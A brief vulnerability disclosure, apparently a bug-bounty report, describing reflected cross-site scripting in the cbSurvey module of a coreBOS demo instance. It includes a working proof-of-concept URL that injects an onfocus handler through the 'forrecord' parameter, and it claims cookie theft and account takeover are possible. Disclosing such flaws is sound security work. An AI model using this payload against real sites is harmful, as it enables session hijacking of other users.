Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites

Proof of Concept.

// PoC.js
Link --> http://demo.corebos.com/index.php?module=cbSurvey&action=cbSurveyAjax&file=index&ajax=true&search=true&gname=&query=true&search_field=cbsurveyname&searchtype=BasicSearch&operator=s&type=alpbt&search_text=L&form=&forfield=&srcmodule=&forrecord=xss%22%20autofocus/onfocus=%22alert(5)%22%20id=%27xxx

Vulnerable parameter --> forrecord

Impact

This vulnerability is capable of claiming other users cookie performing other advanced scenarios . Account takeover is possible in this case .